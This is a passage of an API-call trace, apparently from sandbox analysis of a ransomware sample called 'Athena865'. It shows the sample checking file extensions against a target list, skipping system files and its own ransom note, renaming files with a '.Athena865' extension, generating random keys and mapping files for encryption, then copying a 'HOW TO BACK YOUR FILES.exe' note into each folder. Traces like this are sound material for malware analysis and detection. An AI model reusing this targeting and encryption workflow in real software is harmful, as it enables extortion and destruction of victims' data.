[0057.236] lstrlenW (lpString="ns3") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0057.236] lstrlenW (lpString="ns4") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0057.236] lstrlenW (lpString="nsf") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0057.236] lstrlenW (lpString="nv") returned 2 [0057.236] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0057.236] lstrlenW (lpString="nv2") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0057.236] lstrlenW (lpString="nwdb") returned 4 [0057.236] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0057.236] lstrlenW (lpString="nyf") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0057.236] lstrlenW (lpString="odb") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0057.236] lstrlenW (lpString="odb") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0057.236] lstrlenW (lpString="oqy") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0057.236] lstrlenW (lpString="ora") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0057.236] lstrlenW (lpString="orx") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0057.236] lstrlenW (lpString="owc") returned 3 [0057.236] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0057.236] lstrlenW (lpString="p96") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0057.237] lstrlenW (lpString="p97") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0057.237] lstrlenW (lpString="pan") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0057.237] lstrlenW (lpString="pdb") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0057.237] lstrlenW (lpString="pdm") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0057.237] lstrlenW (lpString="pnz") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0057.237] lstrlenW (lpString="qry") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0057.237] lstrlenW (lpString="qvd") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0057.237] lstrlenW (lpString="rbf") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0057.237] lstrlenW (lpString="rctd") returned 4 [0057.237] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0057.237] lstrlenW (lpString="rod") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0057.237] lstrlenW (lpString="rodx") returned 4 [0057.237] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0057.237] lstrlenW (lpString="rpd") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0057.237] lstrlenW (lpString="rsd") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0057.237] lstrlenW (lpString="sas7bdat") returned 8 [0057.237] lstrcmpiW (lpString1="oMUI.msi", lpString2="sas7bdat") returned -1 [0057.237] lstrlenW (lpString="sbf") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0057.237] lstrlenW (lpString="scx") returned 3 [0057.237] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0057.237] lstrlenW (lpString="sdb") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0057.238] lstrlenW (lpString="sdc") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0057.238] lstrlenW (lpString="sdf") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0057.238] lstrlenW (lpString="sis") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0057.238] lstrlenW (lpString="spq") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0057.238] lstrlenW (lpString="te") returned 2 [0057.238] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0057.238] lstrlenW (lpString="teacher") returned 7 [0057.238] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1 [0057.238] lstrlenW (lpString="tmd") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0057.238] lstrlenW (lpString="tps") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0057.238] lstrlenW (lpString="trc") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0057.238] lstrlenW (lpString="trc") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0057.238] lstrlenW (lpString="trm") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0057.238] lstrlenW (lpString="udb") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0057.238] lstrlenW (lpString="udl") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0057.238] lstrlenW (lpString="usr") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0057.238] lstrlenW (lpString="v12") returned 3 [0057.238] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0057.239] lstrlenW (lpString="vis") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0057.239] lstrlenW (lpString="vpd") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0057.239] lstrlenW (lpString="vvv") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0057.239] lstrlenW (lpString="wdb") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0057.239] lstrlenW (lpString="wmdb") returned 4 [0057.239] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0057.239] lstrlenW (lpString="wrk") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0057.239] lstrlenW (lpString="xdb") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0057.239] lstrlenW (lpString="xld") returned 3 [0057.239] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0057.239] lstrlenW (lpString="xmlff") returned 5 [0057.239] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1 [0057.239] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.Athena865") returned 85 [0057.239] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.athena865"), dwFlags=0x1) returned 1 [0057.240] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.240] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2797568) returned 1 [0057.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.240] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518cd8 [0057.240] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518d60) returned 1 [0057.241] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.241] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.241] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ab300, lpName=0x0) returned 0x17c [0057.243] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xab300) returned 0x2d50000 [0057.274] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0057.359] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0057.376] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518d60) returned 1 [0057.377] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.377] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.377] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.377] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.378] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.378] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0057.418] CloseHandle (hObject=0x17c) returned 1 [0057.418] CloseHandle (hObject=0x154) returned 1 [0057.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518cd8 | out: hHeap=0x4f0000) returned 1 [0057.418] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.427] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="..") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="windows") returned -1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="bootmgr") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="temp") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="pagefile.sys") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="boot") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="ids.txt") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="ntuser.dat") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="perflogs") returned 1 [0057.427] lstrcmpiW (lpString1="VisioMUI.xml", lpString2="MSBuild") returned 1 [0057.427] lstrlenW (lpString="VisioMUI.xml") returned 12 [0057.427] lstrcpyW (in: lpString1=0x241e8c6, lpString2="VisioMUI.xml" | out: lpString1="VisioMUI.xml") returned="VisioMUI.xml" [0057.428] lstrlenW (lpString="VisioMUI.xml") returned 12 [0057.428] lstrlenW (lpString="Athena865") returned 9 [0057.428] lstrcmpiW (lpString1="ioMUI.xml", lpString2="Athena865") returned 1 [0057.428] lstrlenW (lpString=".dll") returned 4 [0057.428] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".dll") returned 1 [0057.428] lstrlenW (lpString=".lnk") returned 4 [0057.428] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".lnk") returned 1 [0057.428] lstrlenW (lpString=".ini") returned 4 [0057.428] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".ini") returned 1 [0057.428] lstrlenW (lpString=".sys") returned 4 [0057.428] lstrcmpiW (lpString1="VisioMUI.xml", lpString2=".sys") returned 1 [0057.428] lstrlenW (lpString="VisioMUI.xml") returned 12 [0057.428] lstrlenW (lpString="bak") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0057.428] lstrlenW (lpString="ba_") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0057.428] lstrlenW (lpString="dbb") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0057.428] lstrlenW (lpString="vmdk") returned 4 [0057.428] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0057.428] lstrlenW (lpString="rar") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0057.428] lstrlenW (lpString="zip") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0057.428] lstrlenW (lpString="tgz") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0057.428] lstrlenW (lpString="vbox") returned 4 [0057.428] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0057.428] lstrlenW (lpString="vdi") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0057.428] lstrlenW (lpString="vhd") returned 3 [0057.428] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0057.428] lstrlenW (lpString="vhdx") returned 4 [0057.428] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0057.429] lstrlenW (lpString="avhd") returned 4 [0057.429] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0057.429] lstrlenW (lpString="db") returned 2 [0057.429] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0057.429] lstrlenW (lpString="db2") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0057.429] lstrlenW (lpString="db3") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0057.429] lstrlenW (lpString="dbf") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0057.429] lstrlenW (lpString="mdf") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0057.429] lstrlenW (lpString="mdb") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0057.429] lstrlenW (lpString="sql") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0057.429] lstrlenW (lpString="sqlite") returned 6 [0057.429] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1 [0057.429] lstrlenW (lpString="sqlite3") returned 7 [0057.429] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1 [0057.429] lstrlenW (lpString="sqlitedb") returned 8 [0057.429] lstrcmpiW (lpString1="oMUI.xml", lpString2="sqlitedb") returned -1 [0057.429] lstrlenW (lpString="xml") returned 3 [0057.429] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0057.429] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.Athena865") returned 85 [0057.429] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.athena865"), dwFlags=0x1) returned 1 [0057.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0057.430] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9503) returned 1 [0057.430] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0057.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0057.431] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518cd8 [0057.431] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518d60) returned 1 [0057.431] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0057.431] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.432] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2820, lpName=0x0) returned 0x17c [0057.433] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2820) returned 0x100000 [0057.434] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518d60) returned 1 [0057.435] CryptGenRandom (in: hProv=0x518d60, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0057.435] CryptReleaseContext (hProv=0x518d60, dwFlags=0x0) returned 1 [0057.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0057.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0057.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0057.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0057.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0057.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0057.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0057.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0057.435] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0057.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0057.436] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0057.436] CloseHandle (hObject=0x17c) returned 1 [0057.436] CloseHandle (hObject=0x154) returned 1 [0057.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0057.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518cd8 | out: hHeap=0x4f0000) returned 1 [0057.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0057.436] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisioMUI.xml", cAlternateFileName="")) returned 0 [0057.436] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0057.436] ReleaseMutex (hMutex=0xec) returned 1 [0057.436] CloseHandle (hObject=0xec) returned 1 [0057.436] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" [0057.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518de8 | out: hHeap=0x4f0000) returned 1 [0057.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5e0 | out: hHeap=0x4f0000) returned 1 [0057.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned 62 [0057.436] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\445895D75BB5837C89D80C4B50682EC5") returned 0xec [0057.437] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0057.437] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C" [0057.437] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0057.437] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0057.437] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0057.437] GetLastError () returned 0x0 [0057.437] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0057.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x538d08 [0057.438] ReadFile (in: hFile=0xf4, lpBuffer=0x538d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x538d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0057.438] CloseHandle (hObject=0xf4) returned 1 [0057.438] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d08 | out: hHeap=0x4f0000) returned 1 [0057.438] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0057.439] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd392c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0057.439] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0057.439] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0057.439] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0057.439] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf58ee8d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd392c20, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.439] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0057.439] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0057.439] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0057.439] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0057.439] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd392c20, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd392c20, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0057.439] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0057.439] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5914a30, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0xa0000003, dwReserved1=0x0, 